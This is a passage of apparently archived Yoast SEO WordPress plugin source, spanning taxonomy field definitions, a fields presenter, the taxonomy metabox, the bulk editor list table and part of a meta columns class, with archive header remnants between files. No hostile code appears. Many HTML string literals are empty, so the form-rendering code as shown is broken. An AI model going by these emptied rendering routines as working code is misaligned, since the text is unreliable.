additional fields. */ $additional_fields = apply_filters( 'wpseo_taxonomy_content_fields', [] ); return array_merge( $fields, $additional_fields ); } /** * Returns array with the fields for the settings tab. * * @return array */ protected function get_settings_fields() { return [ 'noindex' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'bctitle' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => ( WPSEO_Options::get( 'breadcrumbs-enable' ) !== true ), ], 'canonical' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], ]; } /** * Returning the fields for the social media tab. * * @return array */ protected function get_social_fields() { $fields = []; if ( WPSEO_Options::get( 'opengraph', false ) === true ) { $fields = [ 'opengraph-title' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'opengraph-description' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'opengraph-image' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'opengraph-image-id' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], ]; } if ( WPSEO_Options::get( 'twitter', false ) === true ) { $fields = array_merge( $fields, [ 'twitter-title' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'twitter-description' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'twitter-image' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], 'twitter-image-id' => [ 'label' => '', 'description' => '', 'type' => 'hidden', 'options' => '', 'hide' => false, ], ] ); } return $fields; } /** * Filter the hidden fields. * * @param array $fields Array with the form fields that has will be filtered. * * @return array */ protected function filter_hidden_fields( array $fields ) { foreach ( $fields as $field_name => $field_options ) { if ( ! empty( $field_options['hide'] ) ) { unset( $fields[ $field_name ] ); } } return $fields; } } taxonomy/class-taxonomy-fields-presenter.php000064400000014074147207033440015377 0ustar00tax_meta = WPSEO_Taxonomy_Meta::get_term_meta( (int) $term->term_id, $term->taxonomy ); } /** * Displaying the form fields. * * @param array $fields Array with the fields that will be displayed. * * @return string */ public function html( array $fields ) { $content = ''; foreach ( $fields as $field_name => $field_configuration ) { $content .= $this->form_row( 'wpseo_' . $field_name, $field_configuration ); } return $content; } /** * Create a row in the form table. * * @param string $field_name Variable the row controls. * @param array $field_configuration Array with the field configuration. * * @return string */ private function form_row( $field_name, array $field_configuration ) { $esc_field_name = esc_attr( $field_name ); $options = (array) $field_configuration['options']; if ( ! empty( $field_configuration['description'] ) ) { $options['description'] = $field_configuration['description']; } $label = $this->get_label( $field_configuration['label'], $esc_field_name ); $field = $this->get_field( $field_configuration['type'], $esc_field_name, $this->get_field_value( $field_name ), $options ); $help_content = ( $field_configuration['options']['help'] ?? '' ); $help_button_text = ( $field_configuration['options']['help-button'] ?? '' ); $help = new WPSEO_Admin_Help_Panel( $field_name, $help_button_text, $help_content ); return $this->parse_row( $label, $help, $field ); } /** * Generates the html for the given field config. * * @param string $field_type The fieldtype, e.g: text, checkbox, etc. * @param string $field_name The name of the field. * @param string $field_value The value of the field. * @param array $options Array with additional options. * * @return string */ private function get_field( $field_type, $field_name, $field_value, array $options ) { $class = $this->get_class( $options ); $field = ''; $description = ''; $aria_describedby = ''; if ( ! empty( $options['description'] ) ) { $aria_describedby = ' aria-describedby="' . $field_name . '-desc"'; $description = '

    ' . $options['description'] . '

    '; } switch ( $field_type ) { case 'div': $field .= '
    '; break; case 'url': $field .= ''; break; case 'text': $field .= ''; break; case 'checkbox': $field .= ''; break; case 'textarea': $rows = 3; if ( ! empty( $options['rows'] ) ) { $rows = $options['rows']; } $field .= ''; break; case 'select': if ( is_array( $options ) && $options !== [] ) { $field .= ''; } break; case 'hidden': $field .= ''; break; } return $field . $description; } /** * Getting the value for given field_name. * * @param string $field_name The fieldname to get the value for. * * @return string */ private function get_field_value( $field_name ) { if ( isset( $this->tax_meta[ $field_name ] ) && $this->tax_meta[ $field_name ] !== '' ) { return $this->tax_meta[ $field_name ]; } return ''; } /** * Getting the class attributes if $options contains a class key. * * @param array $options The array with field options. * * @return string */ private function get_class( array $options ) { if ( ! empty( $options['class'] ) ) { return ' class="' . esc_attr( $options['class'] ) . '"'; } return ''; } /** * Getting the label HTML. * * @param string $label The label value. * @param string $field_name The target field. * * @return string */ private function get_label( $label, $field_name ) { if ( $label !== '' ) { return ''; } return ''; } /** * Returns the HTML for the row which contains label, help and the field. * * @param string $label The html for the label if there was a label set. * @param WPSEO_Admin_Help_Panel $help The help panel to render in this row. * @param string $field The html for the field. * * @return string */ private function parse_row( $label, WPSEO_Admin_Help_Panel $help, $field ) { if ( $label !== '' || $help !== '' ) { return $label . $help->get_button_html() . $help->get_panel_html() . $field; } return $field; } } taxonomy/class-taxonomy-metabox.php000064400000014060147207033440013556 0ustar00term = $term; $this->taxonomy = $taxonomy; $this->is_social_enabled = WPSEO_Options::get( 'opengraph', false ) || WPSEO_Options::get( 'twitter', false ); $this->seo_analysis = new WPSEO_Metabox_Analysis_SEO(); $this->readability_analysis = new WPSEO_Metabox_Analysis_Readability(); $this->inclusive_language_analysis = new WPSEO_Metabox_Analysis_Inclusive_Language(); } /** * Shows the Yoast SEO metabox for the term. * * @return void */ public function display() { // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $this->get_product_title() returns a hard-coded string. printf( '

    %1$s

    ', $this->get_product_title() ); echo '
    '; echo '
    '; $this->render_hidden_fields(); $this->render_tabs(); echo '
    '; echo '
    '; } /** * Renders the metabox hidden fields. * * @return void */ protected function render_hidden_fields() { $fields_presenter = new WPSEO_Taxonomy_Fields_Presenter( $this->term ); $field_definitions = new WPSEO_Taxonomy_Fields(); echo $fields_presenter->html( $field_definitions->get( 'content' ) ); if ( WPSEO_Capability_Utils::current_user_can( 'wpseo_edit_advanced_metadata' ) || WPSEO_Options::get( 'disableadvanced_meta' ) === false ) { echo $fields_presenter->html( $field_definitions->get( 'settings' ) ); } if ( $this->is_social_enabled ) { echo $fields_presenter->html( $field_definitions->get( 'social' ) ); } } /** * Renders the metabox tabs. * * @return void */ protected function render_tabs() { echo '
    '; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Reason: $this->get_product_title() returns a hard-coded string. printf( '
      ', $this->get_product_title() ); $tabs = $this->get_tabs(); foreach ( $tabs as $tab ) { $tab->display_link(); } echo '
    '; foreach ( $tabs as $tab ) { $tab->display_content(); } echo '
    '; } /** * Returns the relevant metabox sections for the current view. * * @return WPSEO_Metabox_Section[] */ private function get_tabs() { $tabs = []; $label = __( 'SEO', 'wordpress-seo' ); if ( $this->seo_analysis->is_enabled() ) { $label = '' . $label; } $tabs[] = new WPSEO_Metabox_Section_React( 'content', $label ); if ( $this->readability_analysis->is_enabled() ) { $tabs[] = new WPSEO_Metabox_Section_Readability(); } if ( $this->inclusive_language_analysis->is_enabled() ) { $tabs[] = new WPSEO_Metabox_Section_Inclusive_Language(); } if ( $this->is_social_enabled ) { $tabs[] = new WPSEO_Metabox_Section_React( 'social', '' . __( 'Social', 'wordpress-seo' ), '', [ 'html_after' => '
    ', ] ); } $tabs = array_merge( $tabs, $this->get_additional_tabs() ); return $tabs; } /** * Returns the metabox tabs that have been added by other plugins. * * @return WPSEO_Metabox_Section_Additional[] */ protected function get_additional_tabs() { $tabs = []; /** * Private filter: 'yoast_free_additional_taxonomy_metabox_sections'. * * Meant for internal use only. Allows adding additional tabs to the Yoast SEO metabox for taxonomies. * * @param array[] $tabs { * An array of arrays with tab specifications. * * @type array $tab { * A tab specification. * * @type string $name The name of the tab. Used in the HTML IDs, href and aria properties. * @type string $link_content The content of the tab link. * @type string $content The content of the tab. * @type array $options { * Optional. Extra options. * * @type string $link_class Optional. The class for the tab link. * @type string $link_aria_label Optional. The aria label of the tab link. * } * } * } */ $requested_tabs = apply_filters( 'yoast_free_additional_taxonomy_metabox_sections', [] ); foreach ( $requested_tabs as $tab ) { if ( is_array( $tab ) && array_key_exists( 'name', $tab ) && array_key_exists( 'link_content', $tab ) && array_key_exists( 'content', $tab ) ) { $options = array_key_exists( 'options', $tab ) ? $tab['options'] : []; $tabs[] = new WPSEO_Metabox_Section_Additional( $tab['name'], $tab['link_content'], $tab['content'], $options ); } } return $tabs; } /** * Retrieves the product title. * * @return string The product title. */ protected function get_product_title() { return YoastSEO()->helpers->product->get_product_name(); } } class-bulk-editor-list-table.php000064400000072631147207033440012654 0ustar00page_type) there will be constructed an url part, for subpages and * navigation. * * @var string */ protected $page_url; /** * The settings which will be used in the __construct. * * @var array */ protected $settings; /** * Holds the pagination config. * * @var array */ protected $pagination = []; /** * Holds the sanitized data from the user input. * * @var array */ protected $input_fields = []; /** * The field in the database where meta field is saved. * * Should be set in the child class. * * @var string */ protected $target_db_field = ''; /** * Class constructor. * * @param array $args The arguments. */ public function __construct( $args = [] ) { parent::__construct( $this->settings ); $args = wp_parse_args( $args, [ 'nonce' => '', 'input_fields' => [], ] ); $this->input_fields = $args['input_fields']; if ( isset( $_SERVER['REQUEST_URI'] ) ) { $this->request_url = sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ); } $this->current_page = ( ! empty( $this->input_fields['paged'] ) ) ? $this->input_fields['paged'] : 1; $this->current_filter = ( ! empty( $this->input_fields['post_type_filter'] ) ) ? $this->input_fields['post_type_filter'] : 1; $this->current_status = ( ! empty( $this->input_fields['post_status'] ) ) ? $this->input_fields['post_status'] : 1; $this->current_order = [ 'order' => ( ! empty( $this->input_fields['order'] ) ) ? $this->input_fields['order'] : 'asc', 'orderby' => ( ! empty( $this->input_fields['orderby'] ) ) ? $this->input_fields['orderby'] : 'post_title', ]; $this->nonce = $args['nonce']; $this->page_url = "&nonce={$this->nonce}&type={$this->page_type}#top#{$this->page_type}"; $this->populate_editable_post_types(); } /** * Prepares the data and renders the page. * * @return void */ public function show_page() { $this->prepare_page_navigation(); $this->prepare_items(); $this->views(); $this->display(); } /** * Used in the constructor to build a reference list of post types the current user can edit. * * @return void */ protected function populate_editable_post_types() { $post_types = get_post_types( [ 'public' => true, 'exclude_from_search' => false, ], 'object' ); $this->all_posts = []; $this->own_posts = []; if ( is_array( $post_types ) && $post_types !== [] ) { foreach ( $post_types as $post_type ) { if ( ! current_user_can( $post_type->cap->edit_posts ) ) { continue; } if ( current_user_can( $post_type->cap->edit_others_posts ) ) { $this->all_posts[] = esc_sql( $post_type->name ); } else { $this->own_posts[] = esc_sql( $post_type->name ); } } } } /** * Will show the navigation for the table like page navigation and page filter. * * @param string $which Table nav location (such as top). * * @return void */ public function display_tablenav( $which ) { // phpcs:disable WordPress.Security.NonceVerification.Recommended -- Reason: We are not processing form information. $post_status = isset( $_GET['post_status'] ) && is_string( $_GET['post_status'] ) ? sanitize_text_field( wp_unslash( $_GET['post_status'] ) ) : ''; $order_by = isset( $_GET['orderby'] ) && is_string( $_GET['orderby'] ) ? sanitize_text_field( wp_unslash( $_GET['orderby'] ) ) : ''; $order = isset( $_GET['order'] ) && is_string( $_GET['order'] ) ? sanitize_text_field( wp_unslash( $_GET['order'] ) ) : ''; $post_type_filter = isset( $_GET['post_type_filter'] ) && is_string( $_GET['post_type_filter'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type_filter'] ) ) : ''; // phpcs:enable WordPress.Security.NonceVerification.Recommended; ?>
    extra_tablenav( $which ); $this->pagination( $which ); ?>
    prepare(), * passing the current user_id in as the first parameter. */ public function get_base_subquery() { global $wpdb; $all_posts_string = "'" . implode( "', '", $this->all_posts ) . "'"; $own_posts_string = "'" . implode( "', '", $this->own_posts ) . "'"; $post_author = esc_sql( (int) get_current_user_id() ); $subquery = "( SELECT * FROM {$wpdb->posts} WHERE post_type IN ({$all_posts_string}) UNION ALL SELECT * FROM {$wpdb->posts} WHERE post_type IN ({$own_posts_string}) AND post_author = {$post_author} ) sub_base"; return $subquery; } /** * Gets the views. * * @return array The views. */ public function get_views() { global $wpdb; $status_links = []; $states = get_post_stati( [ 'show_in_admin_all_list' => true ] ); $subquery = $this->get_base_subquery(); $total_posts = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(ID) FROM {$subquery} WHERE post_status IN (" . implode( ', ', array_fill( 0, count( $states ), '%s' ) ) . ')', $states ) ); $post_status = isset( $_GET['post_status'] ) && is_string( $_GET['post_status'] ) ? sanitize_text_field( wp_unslash( $_GET['post_status'] ) ) : ''; $current_link_attributes = empty( $post_status ) ? ' class="current" aria-current="page"' : ''; $localized_text = sprintf( /* translators: %s expands to the number of posts in localized format. */ _nx( 'All (%s)', 'All (%s)', $total_posts, 'posts', 'wordpress-seo' ), number_format_i18n( $total_posts ) ); $status_links['all'] = '' . $localized_text . ''; $post_stati = get_post_stati( [ 'show_in_admin_all_list' => true ], 'objects' ); if ( is_array( $post_stati ) && $post_stati !== [] ) { foreach ( $post_stati as $status ) { $status_name = esc_sql( $status->name ); $total = (int) $wpdb->get_var( $wpdb->prepare( " SELECT COUNT(ID) FROM {$subquery} WHERE post_status = %s ", $status_name ) ); if ( $total === 0 ) { continue; } $current_link_attributes = ''; if ( $status_name === $post_status ) { $current_link_attributes = ' class="current" aria-current="page"'; } $status_links[ $status_name ] = '' . sprintf( translate_nooped_plural( $status->label_count, $total ), number_format_i18n( $total ) ) . ''; } } unset( $post_stati, $status, $status_name, $total, $current_link_attributes ); $trashed_posts = $wpdb->get_var( "SELECT COUNT(ID) FROM {$subquery} WHERE post_status IN ('trash') " ); $current_link_attributes = ''; if ( $post_status === 'trash' ) { $current_link_attributes = 'class="current" aria-current="page"'; } $localized_text = sprintf( /* translators: %s expands to the number of trashed posts in localized format. */ _nx( 'Trash (%s)', 'Trash (%s)', $trashed_posts, 'posts', 'wordpress-seo' ), number_format_i18n( $trashed_posts ) ); $status_links['trash'] = '' . $localized_text . ''; return $status_links; } /** * Outputs extra table navigation. * * @param string $which Table nav location (such as top). * * @return void */ public function extra_tablenav( $which ) { if ( $which === 'top' ) { $post_types = get_post_types( [ 'public' => true, 'exclude_from_search' => false, ] ); $instance_type = esc_attr( $this->page_type ); if ( is_array( $post_types ) && $post_types !== [] ) { global $wpdb; echo '
    '; $post_types = esc_sql( $post_types ); $post_types = "'" . implode( "', '", $post_types ) . "'"; $states = get_post_stati( [ 'show_in_admin_all_list' => true ] ); $states['trash'] = 'trash'; $subquery = $this->get_base_subquery(); $post_types = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT post_type FROM {$subquery} WHERE post_status IN (" . implode( ', ', array_fill( 0, count( $states ), '%s' ) ) . ') ORDER BY post_type ASC', $states ) ); $post_type_filter = isset( $_GET['post_type_filter'] ) && is_string( $_GET['post_type_filter'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type_filter'] ) ) : ''; $selected = ( ! empty( $post_type_filter ) ) ? $post_type_filter : '-1'; $options = ''; if ( is_array( $post_types ) && $post_types !== [] ) { foreach ( $post_types as $post_type ) { $obj = get_post_type_object( $post_type->post_type ); $options .= sprintf( '', esc_html( $obj->labels->name ), esc_attr( $post_type->post_type ), selected( $selected, $post_type->post_type, false ) ); } } printf( '', esc_attr( 'post-type-filter-' . $instance_type ), /* translators: Hidden accessibility text. */ esc_html__( 'Filter by content type', 'wordpress-seo' ) ); printf( '', // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: $options is properly escaped above. $options, esc_attr( 'post-type-filter-' . $instance_type ) ); submit_button( esc_html__( 'Filter', 'wordpress-seo' ), 'button', false, false, [ 'id' => 'post-query-submit' ] ); echo '
    '; } } } /** * Gets a list of sortable columns. * * The format is: 'internal-name' => array( 'orderby', bool ). * * @return array */ public function get_sortable_columns() { return [ 'col_page_title' => [ 'post_title', true ], 'col_post_type' => [ 'post_type', false ], 'col_post_date' => [ 'post_date', false ], ]; } /** * Sets the correct pagenumber and pageurl for the navigation. * * @return void */ public function prepare_page_navigation() { $request_url = $this->request_url . $this->page_url; $current_page = $this->current_page; $current_filter = $this->current_filter; $current_status = $this->current_status; $current_order = $this->current_order; /* * If current type doesn't compare with objects page_type, then we have to unset * some vars in the requested url (which will be used for internal table urls). */ if ( isset( $this->input_fields['type'] ) && $this->input_fields['type'] !== $this->page_type ) { $request_url = remove_query_arg( 'paged', $request_url ); // Page will be set with value 1 below. $request_url = remove_query_arg( 'post_type_filter', $request_url ); $request_url = remove_query_arg( 'post_status', $request_url ); $request_url = remove_query_arg( 'orderby', $request_url ); $request_url = remove_query_arg( 'order', $request_url ); $request_url = add_query_arg( 'pages', 1, $request_url ); $current_page = 1; $current_filter = '-1'; $current_status = ''; $current_order = [ 'orderby' => 'post_title', 'order' => 'asc', ]; } $_SERVER['REQUEST_URI'] = $request_url; $_GET['paged'] = $current_page; $_REQUEST['paged'] = $current_page; $_REQUEST['post_type_filter'] = $current_filter; $_GET['post_type_filter'] = $current_filter; $_GET['post_status'] = $current_status; $_GET['orderby'] = $current_order['orderby']; $_GET['order'] = $current_order['order']; } /** * Preparing the requested pagerows and setting the needed variables. * * @return void */ public function prepare_items() { $post_type_clause = $this->get_post_type_clause(); $all_states = $this->get_all_states(); $subquery = $this->get_base_subquery(); // Setting the column headers. $this->set_column_headers(); // Count the total number of needed items and setting pagination given $total_items. $total_items = $this->count_items( $subquery, $all_states, $post_type_clause ); $this->set_pagination( $total_items ); // Getting items given $query. $query = $this->parse_item_query( $subquery, $all_states, $post_type_clause ); $this->get_items( $query ); // Get the metadata for the current items ($this->items). $this->get_meta_data(); } /** * Getting the columns for first row. * * @return array */ public function get_columns() { return $this->merge_columns(); } /** * Setting the column headers. * * @return void */ protected function set_column_headers() { $columns = $this->get_columns(); $hidden = []; $sortable = $this->get_sortable_columns(); $this->_column_headers = [ $columns, $hidden, $sortable ]; } /** * Counting total items. * * @param string $subquery SQL FROM part. * @param string $all_states SQL IN part. * @param string $post_type_clause SQL post type part. * * @return mixed */ protected function count_items( $subquery, $all_states, $post_type_clause ) { global $wpdb; return (int) $wpdb->get_var( "SELECT COUNT(ID) FROM {$subquery} WHERE post_status IN ({$all_states}) {$post_type_clause} " ); } /** * Getting the post_type_clause filter. * * @return string */ protected function get_post_type_clause() { // Filter Block. $post_type_clause = ''; $post_type_filter = isset( $_GET['post_type_filter'] ) && is_string( $_GET['post_type_filter'] ) ? sanitize_text_field( wp_unslash( $_GET['post_type_filter'] ) ) : ''; if ( ! empty( $post_type_filter ) && get_post_type_object( $post_type_filter ) ) { $post_types = esc_sql( $post_type_filter ); $post_type_clause = "AND post_type IN ('{$post_types}')"; } return $post_type_clause; } /** * Setting the pagination. * * Total items is the number of all visible items. * * @param int $total_items Total items counts. * * @return void */ protected function set_pagination( $total_items ) { // Calculate items per page. $per_page = $this->get_items_per_page( 'wpseo_posts_per_page', 10 ); $paged = isset( $_GET['paged'] ) && is_string( $_GET['paged'] ) ? esc_sql( sanitize_text_field( wp_unslash( $_GET['paged'] ) ) ) : ''; if ( empty( $paged ) || ! is_numeric( $paged ) ) { $paged = 1; } else { $paged = (int) $paged; } if ( $paged <= 0 ) { $paged = 1; } $this->set_pagination_args( [ 'total_items' => $total_items, 'total_pages' => ceil( $total_items / $per_page ), 'per_page' => $per_page, ] ); $this->pagination = [ 'per_page' => $per_page, 'offset' => ( ( $paged - 1 ) * $per_page ), ]; } /** * Parse the query to get items from database. * * Based on given parameters there will be parse a query which will get all the pages/posts and other post_types * from the database. * * @param string $subquery SQL FROM part. * @param string $all_states SQL IN part. * @param string $post_type_clause SQL post type part. * * @return string */ protected function parse_item_query( $subquery, $all_states, $post_type_clause ) { // Order By block. $orderby = isset( $_GET['orderby'] ) && is_string( $_GET['orderby'] ) ? sanitize_text_field( wp_unslash( $_GET['orderby'] ) ) : ''; $orderby = ! empty( $orderby ) ? esc_sql( $orderby ) : 'post_title'; $orderby = $this->sanitize_orderby( $orderby ); // Order clause. $order = isset( $_GET['order'] ) && is_string( $_GET['order'] ) ? sanitize_text_field( wp_unslash( $_GET['order'] ) ) : ''; $order = ! empty( $order ) ? esc_sql( strtoupper( $order ) ) : 'ASC'; $order = $this->sanitize_order( $order ); // Get all needed results. $query = " SELECT ID, post_title, post_type, post_status, post_modified, post_date FROM {$subquery} WHERE post_status IN ({$all_states}) $post_type_clause ORDER BY {$orderby} {$order} LIMIT %d,%d "; return $query; } /** * Heavily restricts the possible columns by which a user can order the table * in the bulk editor, thereby preventing a possible CSRF vulnerability. * * @param string $orderby The column by which we want to order. * * @return string */ protected function sanitize_orderby( $orderby ) { $valid_column_names = [ 'post_title', 'post_type', 'post_date', ]; if ( in_array( $orderby, $valid_column_names, true ) ) { return $orderby; } return 'post_title'; } /** * Makes sure the order clause is always ASC or DESC for the bulk editor table, * thereby preventing a possible CSRF vulnerability. * * @param string $order Whether we want to sort ascending or descending. * * @return string SQL order string (ASC, DESC). */ protected function sanitize_order( $order ) { if ( in_array( strtoupper( $order ), [ 'ASC', 'DESC' ], true ) ) { return $order; } return 'ASC'; } /** * Getting all the items. * * @param string $query SQL query to use. * * @return void */ protected function get_items( $query ) { global $wpdb; $this->items = $wpdb->get_results( $wpdb->prepare( $query, $this->pagination['offset'], $this->pagination['per_page'] ) ); } /** * Getting all the states. * * @return string */ protected function get_all_states() { global $wpdb; $states = get_post_stati( [ 'show_in_admin_all_list' => true ] ); $states['trash'] = 'trash'; if ( ! empty( $this->input_fields['post_status'] ) ) { $requested_state = $this->input_fields['post_status']; if ( in_array( $requested_state, $states, true ) ) { $states = [ $requested_state ]; } if ( $requested_state !== 'trash' ) { unset( $states['trash'] ); } } return $wpdb->prepare( implode( ', ', array_fill( 0, count( $states ), '%s' ) ), $states ); } /** * Based on $this->items and the defined columns, the table rows will be displayed. * * @return void */ public function display_rows() { $records = $this->items; list( $columns, $hidden, $sortable, $primary ) = $this->get_column_info(); if ( ( is_array( $records ) && $records !== [] ) && ( is_array( $columns ) && $columns !== [] ) ) { foreach ( $records as $record ) { echo ''; foreach ( $columns as $column_name => $column_display_name ) { $classes = ''; if ( $primary === $column_name ) { $classes .= ' has-row-actions column-primary'; } $attributes = $this->column_attributes( $column_name, $hidden, $classes, $column_display_name ); $column_value = $this->parse_column( $column_name, $record ); if ( method_exists( $this, 'parse_page_specific_column' ) && empty( $column_value ) ) { $column_value = $this->parse_page_specific_column( $column_name, $record, $attributes ); } if ( ! empty( $column_value ) ) { printf( '%1$s', $column_value, $attributes ); } } echo ''; } } } /** * Getting the attributes for each table cell. * * @param string $column_name Column name string. * @param array $hidden Set of hidden columns. * @param string $classes Additional CSS classes. * @param string $column_display_name Column display name string. * * @return string */ protected function column_attributes( $column_name, $hidden, $classes, $column_display_name ) { $attributes = ''; $class = [ $column_name, "column-$column_name$classes" ]; if ( in_array( $column_name, $hidden, true ) ) { $class[] = 'hidden'; } if ( ! empty( $class ) ) { $attributes = 'class="' . esc_attr( implode( ' ', $class ) ) . '"'; } $attributes .= ' data-colname="' . esc_attr( $column_display_name ) . '"'; return $attributes; } /** * Parsing the title. * * @param WP_Post $rec Post object. * * @return string */ protected function parse_page_title_column( $rec ) { $title = empty( $rec->post_title ) ? __( '(no title)', 'wordpress-seo' ) : $rec->post_title; $return = sprintf( '%1$s', stripslashes( wp_strip_all_tags( $title ) ) ); $post_type_object = get_post_type_object( $rec->post_type ); $can_edit_post = current_user_can( $post_type_object->cap->edit_post, $rec->ID ); $actions = []; if ( $can_edit_post && $rec->post_status !== 'trash' ) { $actions['edit'] = sprintf( '%s', esc_url( get_edit_post_link( $rec->ID, true ) ), /* translators: Hidden accessibility text; %s: post title. */ esc_attr( sprintf( __( 'Edit “%s”', 'wordpress-seo' ), $title ) ), __( 'Edit', 'wordpress-seo' ) ); } if ( $post_type_object->public ) { if ( in_array( $rec->post_status, [ 'pending', 'draft', 'future' ], true ) ) { if ( $can_edit_post ) { $actions['view'] = sprintf( '%s', esc_url( add_query_arg( 'preview', 'true', get_permalink( $rec->ID ) ) ), /* translators: Hidden accessibility text; %s: post title. */ esc_attr( sprintf( __( 'Preview “%s”', 'wordpress-seo' ), $title ) ), __( 'Preview', 'wordpress-seo' ) ); } } elseif ( $rec->post_status !== 'trash' ) { $actions['view'] = sprintf( '%s', esc_url( get_permalink( $rec->ID ) ), /* translators: Hidden accessibility text; %s: post title. */ esc_attr( sprintf( __( 'View “%s”', 'wordpress-seo' ), $title ) ), __( 'View', 'wordpress-seo' ) ); } } $return .= $this->row_actions( $actions ); return $return; } /** * Parsing the column based on the $column_name. * * @param string $column_name Column name. * @param WP_Post $rec Post object. * * @return string */ protected function parse_column( $column_name, $rec ) { static $date_format; if ( ! isset( $date_format ) ) { $date_format = get_option( 'date_format' ); } switch ( $column_name ) { case 'col_page_title': $column_value = $this->parse_page_title_column( $rec ); break; case 'col_page_slug': $permalink = get_permalink( $rec->ID ); $display_slug = str_replace( get_bloginfo( 'url' ), '', $permalink ); $column_value = sprintf( '%1$s', stripslashes( rawurldecode( $display_slug ) ), esc_url( $permalink ) ); break; case 'col_post_type': $post_type = get_post_type_object( $rec->post_type ); $column_value = $post_type->labels->singular_name; break; case 'col_post_status': $post_status = get_post_status_object( $rec->post_status ); $column_value = $post_status->label; break; case 'col_post_date': $column_value = date_i18n( $date_format, strtotime( $rec->post_date ) ); break; case 'col_row_action': $column_value = sprintf( '%2$s %3$s', $rec->ID, esc_html__( 'Save', 'wordpress-seo' ), esc_html__( 'Save all', 'wordpress-seo' ) ); break; } if ( ! empty( $column_value ) ) { return $column_value; } } /** * Parse the field where the existing meta-data value is displayed. * * @param int $record_id Record ID. * @param string $attributes HTML attributes. * @param bool|array $values Optional values data array. * * @return string */ protected function parse_meta_data_field( $record_id, $attributes, $values = false ) { // Fill meta data if exists in $this->meta_data. $meta_data = ( ! empty( $this->meta_data[ $record_id ] ) ) ? $this->meta_data[ $record_id ] : []; $meta_key = WPSEO_Meta::$meta_prefix . $this->target_db_field; $meta_value = ( ! empty( $meta_data[ $meta_key ] ) ) ? $meta_data[ $meta_key ] : ''; if ( ! empty( $values ) ) { $meta_value = $values[ $meta_value ]; } $id = "wpseo-existing-$this->target_db_field-$record_id"; // $attributes correctly escaped, verified by Alexander. See WPSEO_Bulk_Description_List_Table::parse_page_specific_column. return sprintf( '%1$s', esc_html( $meta_value ), $attributes, esc_attr( $id ) ); } /** * Method for setting the meta data, which belongs to the records that will be shown on the current page. * * This method will loop through the current items ($this->items) for getting the post_id. With this data * ($needed_ids) the method will query the meta-data table for getting the title. * * @return void */ protected function get_meta_data() { $post_ids = $this->get_post_ids(); $meta_data = $this->get_meta_data_result( $post_ids ); $this->parse_meta_data( $meta_data ); // Little housekeeping. unset( $post_ids, $meta_data ); } /** * Getting all post_ids from to $this->items. * * @return array */ protected function get_post_ids() { $post_ids = []; foreach ( $this->items as $item ) { $post_ids[] = $item->ID; } return $post_ids; } /** * Getting the meta_data from database. * * @param array $post_ids Post IDs for SQL IN part. * * @return mixed */ protected function get_meta_data_result( array $post_ids ) { global $wpdb; $where = $wpdb->prepare( 'post_id IN (' . implode( ', ', array_fill( 0, count( $post_ids ), '%d' ) ) . ')', $post_ids ); $where .= $wpdb->prepare( ' AND meta_key = %s', WPSEO_Meta::$meta_prefix . $this->target_db_field ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- They are prepared on the lines above. return $wpdb->get_results( "SELECT * FROM {$wpdb->postmeta} WHERE {$where}" ); } /** * Setting $this->meta_data. * * @param array $meta_data Meta data set. * * @return void */ protected function parse_meta_data( $meta_data ) { foreach ( $meta_data as $row ) { $this->meta_data[ $row->post_id ][ $row->meta_key ] = $row->meta_value; } } /** * This method will merge general array with given parameter $columns. * * @param array $columns Optional columns set. * * @return array */ protected function merge_columns( $columns = [] ) { $columns = array_merge( [ 'col_page_title' => __( 'WP Page Title', 'wordpress-seo' ), 'col_post_type' => __( 'Content Type', 'wordpress-seo' ), 'col_post_status' => __( 'Post Status', 'wordpress-seo' ), 'col_post_date' => __( 'Publication date', 'wordpress-seo' ), 'col_page_slug' => __( 'Page URL/Slug', 'wordpress-seo' ), ], $columns ); $columns['col_row_action'] = __( 'Action', 'wordpress-seo' ); return $columns; } } class-meta-columns.php000064400000061602147207033440010775 0ustar00analysis_seo = new WPSEO_Metabox_Analysis_SEO(); $this->analysis_readability = new WPSEO_Metabox_Analysis_Readability(); $this->admin_columns_cache = YoastSEO()->classes->get( Admin_Columns_Cache_Integration::class ); $this->score_icon_helper = YoastSEO()->helpers->score_icon; } /** * Sets up up the hooks. * * @return void */ public function setup_hooks() { $this->set_post_type_hooks(); if ( $this->analysis_seo->is_enabled() ) { add_action( 'restrict_manage_posts', [ $this, 'posts_filter_dropdown' ] ); } if ( $this->analysis_readability->is_enabled() ) { add_action( 'restrict_manage_posts', [ $this, 'posts_filter_dropdown_readability' ] ); } add_filter( 'request', [ $this, 'column_sort_orderby' ] ); add_filter( 'default_hidden_columns', [ $this, 'column_hidden' ], 10, 1 ); } /** * Adds the column headings for the SEO plugin for edit posts / pages overview. * * @param array $columns Already existing columns. * * @return array Array containing the column headings. */ public function column_heading( $columns ) { if ( $this->display_metabox() === false ) { return $columns; } $added_columns = []; if ( $this->analysis_seo->is_enabled() ) { $added_columns['wpseo-score'] = '' . __( 'SEO score', 'wordpress-seo' ) . ''; } if ( $this->analysis_readability->is_enabled() ) { $added_columns['wpseo-score-readability'] = '' . __( 'Readability score', 'wordpress-seo' ) . ''; } $added_columns['wpseo-title'] = __( 'SEO Title', 'wordpress-seo' ); $added_columns['wpseo-metadesc'] = __( 'Meta Desc.', 'wordpress-seo' ); if ( $this->analysis_seo->is_enabled() ) { $added_columns['wpseo-focuskw'] = __( 'Keyphrase', 'wordpress-seo' 